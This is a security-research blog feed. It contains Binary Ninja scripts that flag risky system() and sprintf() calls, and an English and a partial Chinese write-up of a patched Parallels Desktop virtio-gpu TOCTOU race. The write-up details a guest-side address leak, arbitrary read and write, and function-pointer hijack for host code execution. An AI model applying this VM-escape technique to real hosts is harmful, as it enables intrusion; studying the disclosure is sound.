class="string">&quot;system&quot;</span></span>):</span><br><span class="line">    addr = get_function_addr(bv,symbol)</span><br><span class="line">    <span class="keyword">if</span> addr == <span class="literal">None</span>:</span><br><span class="line">        <span class="keyword">return</span> []</span><br><span class="line">    refs = bv.get_code_refs(addr)</span><br><span class="line">    ret = []</span><br><span class="line">    <span class="keyword">for</span> ref <span class="keyword">in</span> refs:</span><br><span class="line">        func = ref.function</span><br><span class="line">        cmd = func.get_parameter_at(ref.address,<span class="literal">None</span>,<span class="number">0</span>)</span><br><span class="line">        <span class="keyword">if</span> is_constant(cmd):</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        ret.append((symbol,func.name,ref.address,Error.COMMANDINJECT))</span><br><span class="line">    <span class="keyword">return</span> ret</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_function_addr</span>(<span class="params">bv,symbol</span>):</span><br><span class="line">    syms = []</span><br><span class="line">    <span class="keyword">if</span> symbol <span class="keyword">in</span> bv.symbols:</span><br><span class="line">        syms = bv.symbols[symbol]</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&quot;_%s&quot;</span>%symbol <span class="keyword">in</span> bv.symbols:</span><br><span class="line">        syms = bv.symbols[<span class="string">&quot;_%s&quot;</span>%symbol]</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> syms:</span><br><span class="line">        <span class="keyword">if</span> <span class="string">&quot;mips32&quot;</span> == bv.arch.name <span class="keyword">or</span> <span class="string">&quot;mipsel32&quot;</span> == bv.arch.name:</span><br><span class="line">            <span class="keyword">if</span> i.<span class="built_in">type</span> == SymbolType.ImportAddressSymbol:</span><br><span class="line">                <span class="keyword">return</span> i.address</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">if</span> i.<span class="built_in">type</span> == SymbolType.ImportedFunctionSymbol:</span><br><span class="line">                <span class="keyword">return</span> i.address</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">is_constant</span>(<span class="params">a</span>):</span><br><span class="line">    <span class="keyword">return</span> a.<span class="built_in">type</span> == RegisterValueType.ConstantPointerValue <span class="keyword">or</span> a.<span class="built_in">type</span> == RegisterValueType.ConstantValue</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    input_file = sys.argv[<span class="number">1</span>]</span><br><span class="line">    <span class="keyword">if</span> os.path.exists(input_file + <span class="string">&quot;.bndb&quot;</span>):</span><br><span class="line">        bv = open_view(input_file + <span class="string">&quot;.bndb&quot;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        bv = open_view(input_file)</span><br><span class="line">        settings = SaveSettings()</span><br><span class="line">        bv.create_database(input_file + <span class="string">&quot;.bndb&quot;</span>, <span class="literal">None</span>, settings)</span><br><span class="line">    ret = check_system(bv)</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> ret:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;%-15s function: %-20s addr: 0x%x %s&quot;</span>%(i[<span class="number">0</span>],i[<span class="number">1</span>],i[<span class="number">2</span>],i[<span class="number">3</span>]))</span><br></pre></td></tr></table></figure><p>上面的代码的主要逻辑在check_system函数，我这里只是把调用system时参数不为常量的调用过滤掉，最后将所有的结果输出出来。这样就能大大减少我需要检查的system调用数量。同样，我还可以通过Binary Ninja的API检查sprintf的调用是否存在buffer越界的风险。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">check_sprintf</span>(<span class="params">bv,symbol = <span class="string">&quot;sprintf&quot;</span></span>):</span><br><span class="line">    addr = get_function_addr(bv,symbol)</span><br><span class="line">    <span class="keyword">if</span> addr == <span class="literal">None</span>:</span><br><span class="line">        <span class="keyword">return</span> []</span><br><span class="line">    refs = bv.get_code_refs(addr)</span><br><span class="line">    ret = []</span><br><span class="line">    <span class="keyword">for</span> ref <span class="keyword">in</span> refs:</span><br><span class="line">        func = ref.function</span><br><span class="line">        fmt = func.get_parameter_at(ref.address,<span class="literal">None</span>,<span class="number">1</span>)</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> is_constant(fmt):</span><br><span class="line">            ret.append((symbol,func.name,ref.address,Error.FORMAT_UNCONSTANT))</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        asc = bv.get_ascii_string_at(fmt.value,min_length = <span class="number">2</span>)</span><br><span class="line">        <span class="keyword">if</span> asc == <span class="literal">None</span>:</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        fmt_value = asc.value</span><br><span class="line">        cidx = <span class="number">0</span></span><br><span class="line">        arg_idx = <span class="number">1</span></span><br><span class="line">        <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">            idx = fmt_value.find(<span class="string">&quot;%&quot;</span>,cidx)</span><br><span class="line">            <span class="keyword">if</span> idx &lt; <span class="number">0</span>:</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">            arg_idx += <span class="number">1</span></span><br><span class="line">            cidx = idx + <span class="number">1</span></span><br><span class="line">            <span class="keyword">if</span> fmt_value[idx:].startswith(<span class="string">&quot;%s&quot;</span>):</span><br><span class="line">                arg = func.get_parameter_at(ref.address,<span class="literal">None</span>,arg_idx)</span><br><span class="line">                <span class="keyword">if</span> <span class="keyword">not</span> is_constant(arg):</span><br><span class="line">                    ret.append((symbol,func.name,ref.address,Error.FORMAT_OVERFLOW))</span><br><span class="line">    <span class="keyword">return</span> ret</span><br></pre></td></tr></table></figure><p>上述这些漏洞分析的误报率仍然会比较高，根据经验，我往往会额外地添加一些看起来不是特别正确的约束条件：</p><ul><li><p>strcpy strcat<br />要求dst参数为栈空间（更有可能出现stackoverflow）</p></li><li><p>system<br />要求调用system的同时调用snprintf或sprintf（更有可能发生命令注入）</p></li><li><p>sscanf<br />要求调用sscanf的同时没有调用fopen（开发者会使用sscanf来读取配置文件里的信息）</p></li></ul><p>通过上述的约束，自动化分析输出的结果已经大体上可以被作为静态分析的参考来使用了，不过想要进行批量化的固件分析，还需要再进一步地优化。目前我正在研究如何通过使用Binary Ninja的中间语言进行比较完整的数据流分析，进一步降低误报率，如果有其他的更新我会在这里进行同步，也欢迎有兴趣的同学来和我联系。</p><p>参考资料</p><ol><li><a href="https://www.zerodayinitiative.com/blog/2022/2/14/static-taint-analysis-using-binary-ninja-a-case-study-of-mysql-cluster-vulnerabilities">https://www.zerodayinitiative.com/blog/2022/2/14/static-taint-analysis-using-binary-ninja-a-case-study-of-mysql-cluster-vulnerabilities</a></li><li><a href="https://blog.trailofbits.com/2017/01/31/breaking-down-binary-ninjas-low-level-il/">https://blog.trailofbits.com/2017/01/31/breaking-down-binary-ninjas-low-level-il/</a></li><li><a href="https://blog.trailofbits.com/2018/04/04/vulnerability-modeling-with-binary-ninja/">https://blog.trailofbits.com/2018/04/04/vulnerability-modeling-with-binary-ninja/</a></li></ol>]]></content>
    
    
    <summary type="html">&lt;p&gt;Binary Ninja是一款简单易用的二进制分析平台，它提供了丰富的API接口，可以帮助安全研究人员进行自动化的分析。&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>Escape from Parallels Desktop</title>
    <link href="https://dawnslab.jd.com/pd-exploit-blog2/"/>
    <id>https://dawnslab.jd.com/pd-exploit-blog2/</id>
    <published>2022-02-13T09:32:23.000Z</published>
    <updated>2025-08-21T06:15:23.822Z</updated>
    
    <content type="html"><![CDATA[<p>Parallels Desktop is a virtual machine software under the macOS system that helps users run Windows, Linux and other operating systems. In September 2021, I started security research on Parallels Desktop, during which I discovered several high-severity vulnerabilities. Unfortunately, in the latest update, my vulnerabilities were patched. I wrote this article to describe my Parallels Desktop research process, as well as the technical details of finding and exploiting vulnerabilities.</p><span id="more"></span><a href="/pd-exploit-blog1/" title="中文版">中文版</a><h2 id="introduction"><a class="markdownIt-Anchor" href="#introduction"></a> Introduction</h2><p>The version of Parallels Desktop I studied is 17.0.1 (51482), and I clarified some basic logic of this software by slowly groping. The name of the program responsible for running the virtual machine is prl_vm_app. Similar to other virtualization software, the structure is shown below.</p><p><img src="Untitled.png" alt="Untitled" /></p><p>prl_vm_app needs to handle interrupt requests from vCPU, simulate peripheral operations, and call it Host. What we usually call virtual machine escape is to destroy the host application by sending illegal requests on the guest host, and implement code execution on the host.</p><p>On a traditional physical machine, the CPU generally communicates with devices through io ports and memory mapping (DMA), and this is the part that software must simulate. At the same time, prl_vm_app also implements some custom communication protocols in order to realize some common functions of virtual machines such as clipboard sharing and file sharing. This protocol generally transmits data through agreed registers and physical memory, and needs to be used in conjunction with the driver developed by Parallels itself. Research by others in the past has found some security issues in protocol processing, and this is a good and easiest attack surface to locate.</p><p>Another attack surface is the simulation code of various devices on the Host. The interaction protocol of each device is different. When auditing the code, I need to learn one by one. This is a very time-consuming task. Almost half of the mining process is learning how to properly interact with these devices, and the other half is reverse auditing the corresponding code. The content of my audit is also very simple, mainly whether the index is properly checked, whether there is an integer overflow, whether the memory copy is out of bounds, etc. But these type of bug are easy to find, and previous research work and the security measures of developers will definitely make similar bugs less and less. After fumbling around for a while and getting nowhere in my vulnerability digging, I started looking for experience from other people’s security research.</p><p>In the past virtualization research, I noticed a relatively easy vulnerability mode TOCTOU (Time of Check Time of Use). Similar problems have occurred in Vmware products, such as CVE-2020-3981, CVE-2020-3982, QEMU has also been exposed to this problem such as CVE-2018-16872. This is a very easy error during development. In the final analysis, it is caused by Race. The Guest and the Host share physical memory through memory mapping. When the Host checks the requested data, the Guest can modify the data at the same time. Next I will explain it in detail with specific bugs.</p><h2 id="vulnerability-analysis"><a class="markdownIt-Anchor" href="#vulnerability-analysis"></a> Vulnerability Analysis</h2><p>I found a similar problem in the virtio-gpu device, as shown below, the input pointer is the memory map of the Guest physical memory in the Host, and when processing the VIRTIO_GPU_CMD_UPDATE_CURSOR request, two variables input are read from the Guest’s input -&gt;pos.scanout_id and input-&gt;resource_id, check scanout_id on line 8 to see if the array index is out of bounds, and write resource_id into the array on line 16.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">...</span><br><span class="line">input = (virtio_gpu_update_cursor *)v5-&gt;hva;</span><br><span class="line"><span class="keyword">if</span> ( !v5-&gt;hva )</span><br><span class="line">  <span class="keyword">goto</span> LABEL_60;</span><br><span class="line"><span class="keyword">if</span> ( !v87 )</span><br><span class="line">  <span class="keyword">goto</span> LABEL_60;</span><br><span class="line">v10 = input-&gt;pos.scanout_id;</span><br><span class="line"><span class="keyword">if</span> ( v10 &gt;= <span class="number">0x10</span> )                        <span class="comment">// Time of check</span></span><br><span class="line">  <span class="keyword">goto</span> LABEL_60;</span><br><span class="line">v11 = v10;</span><br><span class="line">new_x = a1-&gt;scanouts[v11].rect.x + input-&gt;pos.x;</span><br><span class="line">new_y = a1-&gt;scanouts[v11].rect.y + input-&gt;pos.y;</span><br><span class="line"><span class="keyword">if</span> ( input-&gt;hdr.type != VIRTIO_GPU_CMD_UPDATE_CURSOR )</span><br><span class="line">  <span class="keyword">goto</span> LABEL_55;</span><br><span class="line">QMutex::lock(v62);</span><br><span class="line">a1-&gt;resource_ids[input-&gt;pos.scanout_id] = input-&gt;resource_id;<span class="comment">// Time of Use</span></span><br><span class="line">      ...</span><br></pre></td></tr></table></figure><p>We can create a new thread through the code execution gap from lines 8 to 16, and modify scanout_id to any data, that is, we can write any value out of bounds in the array.</p><p>If this scanout_id is modified to an illegal value, it may cause illegal memory access. This is the crash log at that time.</p><p><img src="Untitled%201.png" alt="Untitled" /></p><h2 id="vulnerability-exploit"><a class="markdownIt-Anchor" href="#vulnerability-exploit"></a> Vulnerability Exploit</h2><p>At present, we have written arbitrary data with relative offset. Next, I will discuss the construction of information leakage and arbitrary address reading and writing by tampering with the structure a1(gpu_buffer)</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line">    <span class="type">void</span>* vtable;</span><br><span class="line">    ...</span><br><span class="line">    <span class="type">uint32_t</span> resource_ids [<span class="number">0x10</span>];</span><br><span class="line">    ...</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line">        ...</span><br><span class="line">        queue_result* queue_result;</span><br><span class="line">    &#125; cursor_queue;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line">        ...</span><br><span class="line">        queue_result* queue_result;</span><br><span class="line">    &#125; control_queue;</span><br><span class="line">    ...</span><br><span class="line">&#125; gpu_buffer;</span><br></pre></td></tr></table></figure><h3 id="address-information-leakage"><a class="markdownIt-Anchor" href="#address-information-leakage"></a> Address Information Leakage</h3><p>Through debugging, I found that the address space of prl_vm_app is as follows. After the address randomization is turned on, the Image Base starts from a random address of 0x1xxxxx000, followed by the Guest Memory. If the physical memory of the virtual machine is large enough, such as more than 4G, then there is a high probability that some fixed Host virtual addresses (such as 0x200000000) will definitely fall on the Guest Memory.</p><p><img src="Untitled%202.png" alt="Untitled" /></p><p>In the process of GPU processing, queue_result saves the interactive address mapping information. As shown below, the GPU takes the corresponding memory address and data length from the virtio queue, translates it into a virtual address on the Host through gpa_to_hva, and writes it back to mem_handlers.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">v2 = a1-&gt;cursor_queue.queue_result;</span><br><span class="line">...</span><br><span class="line"><span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">        v5 = v2-&gt;mem_handlers;</span><br><span class="line">        gpa_to_hva(</span><br><span class="line">        v2-&gt;mem_handlers,</span><br><span class="line">        a1-&gt;cursor_queue.chunk.desc_array[<span class="number">0</span>].addr,</span><br><span class="line">        a1-&gt;cursor_queue.chunk.desc_array[<span class="number">0</span>].length);</span><br><span class="line">...</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line">    <span class="type">uint64_t</span> hva;</span><br><span class="line">    <span class="type">uint64_t</span> gpa;</span><br><span class="line">    <span class="type">uint32_t</span> length;</span><br><span class="line">&#125; mem_handler;</span><br></pre></td></tr></table></figure><p>When exploiting, I modified the queue_result pointer to a fixed constant of 0x180000000, and then triggered any virtio-gpu request, and Host wrote the address translation information to queue_result (the pointer has been tampered with 0x180000000). Then I searched the physical memory of the entire virtual machine for the modified physical page, so as to infer that the Guest Memory Base on host.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">uint64_t</span> fake_hva = <span class="number">0x180000000</span>;</span><br><span class="line"><span class="type">uint32_t</span> search_ptr = <span class="number">0x01000000</span>;</span><br><span class="line"><span class="type">uint32_t</span> search_end = <span class="number">0xb0000000</span>;</span><br><span class="line"><span class="type">uint64_t</span> guest_base = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">while</span>(search_ptr &lt; search_end)&#123;</span><br><span class="line">    <span class="keyword">if</span>(*(<span class="type">uint32_t</span>*)search_ptr == <span class="number">0xfffffffe</span>)&#123;</span><br><span class="line">        kprintf(<span class="string">&quot;find target addr at: 0x%x\n&quot;</span>,search_ptr);</span><br><span class="line">        guest_base = fake_hva - (<span class="type">uint64_t</span>)search_ptr;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    search_ptr += <span class="number">0x1000</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>(search_ptr == search_end)&#123;</span><br><span class="line">    kprintf(<span class="string">&quot;can&#x27;t find target addr\n&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">kprintf(<span class="string">&quot;VM base addr: 0x%lx&quot;</span>,guest_base);</span><br></pre></td></tr></table></figure><h3 id="arbitrary-address-read"><a class="markdownIt-Anchor" href="#arbitrary-address-read"></a> Arbitrary Address Read</h3><p>The queue_result is tampered to point to the guest physical memory, which can not only achieve information leakage, but also facilitate subsequent use. Because it saves the address information during interaction, by tampering with the data in it, any address can be read and written.</p><p>I used the following gadget, which is a code branch when the GPU handles different requests. The code content from lines 8 to 17 is to write the v19-&gt;mem_handlers[0].hva data of the virtual machine back to v19 -&gt;mem_handlers[2].hva. Normally, they hold the addresses translated by gpa_to_hva which tell the device where to read data from and where to write data. Guest and virtio-gpu agree that data is read from v19-&gt;mem_handlers[0].hva, and the returned result is written back to v19-&gt;mem_handlers[2].hva.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">else</span> <span class="keyword">if</span> ( dword_10101ED68 &gt; <span class="number">0</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    debug(<span class="string">&quot;&quot;</span>, <span class="string">&quot;LocalDevices&quot;</span>, <span class="number">1u</span>, <span class="string">&quot;[%s] Incorect command size&quot;</span>, <span class="string">&quot;SUBMIT_3D&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">goto</span> LABEL_5;</span><br><span class="line"><span class="keyword">default</span>:</span><br><span class="line">  v19 = v1-&gt;control_queue.queue_result;</span><br><span class="line">  gpa_to_hva(&amp;v19-&gt;mem_handlers[<span class="number">2</span>], v19-&gt;output_gpa, v19-&gt;output_length);</span><br><span class="line">  v20 = (_QWORD *)v19-&gt;mem_handlers[<span class="number">2</span>].hva;</span><br><span class="line">  a4 = v19-&gt;output_length;</span><br><span class="line">  <span class="keyword">if</span> ( a4 &gt;= <span class="number">0x19u</span>LL )</span><br><span class="line">    __bzero(v20, a4);</span><br><span class="line">  v21 = (_QWORD *)v19-&gt;mem_handlers[<span class="number">0</span>].hva;</span><br><span class="line">  v22 = v21[<span class="number">1</span>];</span><br><span class="line">  *v20 = *v21;</span><br><span class="line">  v20[<span class="number">2</span>] = v21[<span class="number">2</span>];</span><br><span class="line">  v20[<span class="number">1</span>] = v22;</span><br><span class="line">  *(_DWORD *)v20 = <span class="number">0x1200</span>;</span><br><span class="line">  <span class="keyword">goto</span> LABEL_5;</span><br></pre></td></tr></table></figure><p>When the request is called, a new thread is enabled again, and v19-&gt;mem_handlers[0].hva is modified to any address, that is, any address can be read, and the data can be written back to v19-&gt;mem_handlers[2].hva.</p><h3 id="arbitrary-address-write"><a class="markdownIt-Anchor" href="#arbitrary-address-write"></a> Arbitrary Address Write</h3><p>The method of writing any address is similar to the above. After the address translation of v19-&gt;mem_handlers[2] is completed in line 8, I can quickly change v19-&gt;mem_handlers[2].hva to arbitrary address that needs to be written through Race. It’s just that compared to reading at any address, the race window is very small. Only after the gpa_to_hva function on line 8 exits and before the assignment of v20 on line 9, modify v19-&gt;mem_handlers[2].hva to successfully implement arbitrary address writing. However, this method can be called an infinite number of times, and a few attempts will always succeed.</p><p>With arbitrary address read and write, firstly search the Image Base near the Guest Memory Base, find the link library, calculate the system address in libc, and finally implement arbitrary code execution by tampering with the function pointer.</p><div id="dplayer2" class="dplayer hexo-tag-dplayer-mark" style="margin-bottom: 20px;"></div><script>(function(){var player = new DPlayer({"container":document.getElementById("dplayer2"),"loop":"yes","screenshot":"yes","video":{"url":"/pd-exploit-blog2/parallel.mp4"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script><h2 id="references"><a class="markdownIt-Anchor" href="#references"></a> References</h2><ol><li><a href="https://www.zerodayinitiative.com/blog/2021/4/26/parallels-desktop-rdpmc-hypercall-interface-and-vulnerabilities">https://www.zerodayinitiative.com/blog/2021/4/26/parallels-desktop-rdpmc-hypercall-interface-and-vulnerabilities</a></li><li><a href="https://www.zerodayinitiative.com/blog/2020/5/20/cve-2020-8871-privilege-escalation-in-parallels-desktop-via-vga-device">https://www.zerodayinitiative.com/blog/2020/5/20/cve-2020-8871-privilege-escalation-in-parallels-desktop-via-vga-device</a></li><li><a href="https://trenchant.io/pwn2own-2021-parallels-desktop-guest-to-host-escape/">https://trenchant.io/pwn2own-2021-parallels-desktop-guest-to-host-escape/</a></li><li><a href="https://zerodayengineering.com/projects/slides/ZDE2021_AdvancedEasyPwn2Own2021.pdf">https://zerodayengineering.com/projects/slides/ZDE2021_AdvancedEasyPwn2Own2021.pdf</a></li></ol>]]></content>
    
    
    <summary type="html">&lt;p&gt;Parallels Desktop is a virtual machine software under the macOS system that helps users run Windows, Linux and other operating systems. In September 2021, I started security research on Parallels Desktop, during which I discovered several high-severity vulnerabilities. Unfortunately, in the latest update, my vulnerabilities were patched. I wrote this article to describe my Parallels Desktop research process, as well as the technical details of finding and exploiting vulnerabilities.&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>Parallels Desktop虚拟机逃逸</title>
    <link href="https://dawnslab.jd.com/pd-exploit-blog1/"/>
    <id>https://dawnslab.jd.com/pd-exploit-blog1/</id>
    <published>2022-02-13T08:57:33.000Z</published>
    <updated>2025-08-21T06:15:23.835Z</updated>
    
    <content type="html"><![CDATA[<p>Parallels Desktop是在macOS系统下的一款虚拟机软件，帮助用户在macOS上运行Windows、Linux等操作系统。在2021年9月份我开始了Parallels Desktop的安全研究，期间发现了若干高危漏洞，非常不幸地是在最近一次更新中，我的漏洞被修补掉了。我写这篇文章用于介绍我的Parallels Desktop研究过程，以及发现漏洞、利用漏洞的技术细节。</p><span id="more"></span><a href="/pd-exploit-blog2/" title="English version">English version</a><h2 id="软件介绍"><a class="markdownIt-Anchor" href="#软件介绍"></a> 软件介绍</h2><p>我研究的Parallels Desktop版本是17.0.1（51482），通过慢慢摸索理清了这个软件的一些基本逻辑，其负责运行虚拟机的程序名字为prl_vm_app，和其他的虚拟化软件类似，它的主要结构如下所示。</p><p><img src="Untitled.png" alt="Untitled" /></p><p>prl_vm_app通过syscall的方式向Apple Hypervisor Framework申请vCPU，给vCPU绑定内存映射，就可以运行了，不过这只是一个简单的虚拟机模型，在这里称之为Guest。prl_vm_app需要处理来自vCPU的中断请求，模拟外设操作，称之为Host。我们通常所说的虚拟机逃逸就是在Guest主机上通过发送非法请求破坏Host应用程序，在宿主机上实现代码执行。</p><p>在传统的物理机上，CPU一般通过io port、内存映射（DMA）的方法和外设进行通信，这是软件必须模拟的部分。同时prl_vm_app为了实现一些虚拟机常见的功能如剪贴板共享、文件共享，还实现了一些自定义的通信协议，这种协议一般通过约定好的寄存器、物理内存进行数据传输，需要配合Parallels自己开发的系统驱动使用。过去其他安全研究人员在协议处理时发现了一些安全问题，这是一个很不错也是最容易定位的攻击面。</p><p>另外一个攻击面是Host上各种外设的模拟代码，每一种外设的交互协议各不相同，在审计代码时需要逐个学习，这是一个非常耗时的工作，我在漏洞挖掘的过程中几乎有一半的时间是在学习如何正确地和这些外设交互，另外一半的时间在逆向审计对应的代码。我的审计内容也很简单，主要是审计index有没有被正确地检查，是否存在整数溢出，内存拷贝的时候是否造成越界等这些情况。但是这种类型的错误很容易会被发现，前人的研究工作以及开发人员的安全措施肯定会让类似的BUG越来越少。经过一段时间的摸索，我的漏洞挖掘工作毫无进展，我开始从其他人的安全研究中寻找经验。</p><p>在过去的虚拟化研究中，我注意到一个比较容易出现的漏洞模式TOCTOU（Time of Check Time of Use），Vmware产品中出现过<a href="https://www.zerodayinitiative.com/blog/2020/10/22/detailing-two-vmware-workstation-toctou-vulnerabilities">类似的问题</a>，如CVE-2020-3981、 CVE-2020-3982，QEMU也被曝出过该问题如CVE-2018-16872。这是一种开发时非常容易出现的错误，归根结底是因为Race造成的，Guest和Host通过内存映射的方法共享物理内存，Host在对请求的数据进行检查时，Guest可以同时对数据进行修改。接下来我会通过具体bug对它进行详细解释。</p><h2 id="漏洞分析"><a class="markdownIt-Anchor" href="#漏洞分析"></a> 漏洞分析</h2><p>我在virtio-gpu外设中发现了类似的问题，如下所示，input指针是Guest物理内存在Host进程中的内存映射，在处理VIRTIO_GPU_CMD_UPDATE_CURSOR请求时，从Guest的input中读取了两个变量input-&gt;pos.scanout_id和input-&gt;resource_id，在第8行对scanout_id进行检查数组索引是否越界，在第16行将resource_id写入数组。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">...</span><br><span class="line">input = (virtio_gpu_update_cursor *)v5-&gt;hva;</span><br><span class="line"><span class="keyword">if</span> ( !v5-&gt;hva )</span><br><span class="line">  <span class="keyword">goto</span> LABEL_60;</span><br><span class="line"><span class="keyword">if</span> ( !v87 )</span><br><span class="line">  <span class="keyword">goto</span> LABEL_60;</span><br><span class="line">v10 = input-&gt;pos.scanout_id;</span><br><span class="line"><span class="keyword">if</span> ( v10 &gt;= <span class="number">0x10</span> )                        <span class="comment">// Time of check</span></span><br><span class="line">  <span class="keyword">goto</span> LABEL_60;</span><br><span class="line">v11 = v10;</span><br><span class="line">new_x = a1-&gt;scanouts[v11].rect.x + input-&gt;pos.x;</span><br><span class="line">new_y = a1-&gt;scanouts[v11].rect.y + input-&gt;pos.y;</span><br><span class="line"><span class="keyword">if</span> ( input-&gt;hdr.type != VIRTIO_GPU_CMD_UPDATE_CURSOR )</span><br><span class="line">  <span class="keyword">goto</span> LABEL_55;</span><br><span class="line">QMutex::lock(v62);</span><br><span class="line">a1-&gt;resource_ids[input-&gt;pos.scanout_id] = input-&gt;resource_id;<span class="comment">// Time of Use</span></span><br><span class="line">      ...</span><br></pre></td></tr></table></figure><p>我们可以通过第8行到第16行的代码执行间隙新起一个线程，将scanout_id修改为任意数据，即可以实现在数组越界写任意值。</p><p>如果这时scanout_id被修改为非法值，有可能造成非法访存，这是当时的崩溃日志。</p><p><img src="Untitled%201.png" alt="Untitled" /></p><h2 id="漏洞利用"><a class="markdownIt-Anchor" href="#漏洞利用"></a> 漏洞利用</h2><p>目前我们已经有了相对偏移的任意数据写，接下来讲述通过篡改a1的结构体（gpu_buffer）数据，构造信息泄露以及任意地址读写。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line">    <span class="type">void</span>* vtable;</span><br><span class="line">    ...</span><br><span class="line">    <span class="type">uint32_t</span> resource_ids [<span class="number">0x10</span>];</span><br><span class="line">    ...</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line">        ...</span><br><span class="line">        queue_result* queue_result;</span><br><span class="line">    &#125; cursor_queue;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> &#123;</span></span><br><span class="line">        ...</span><br><span 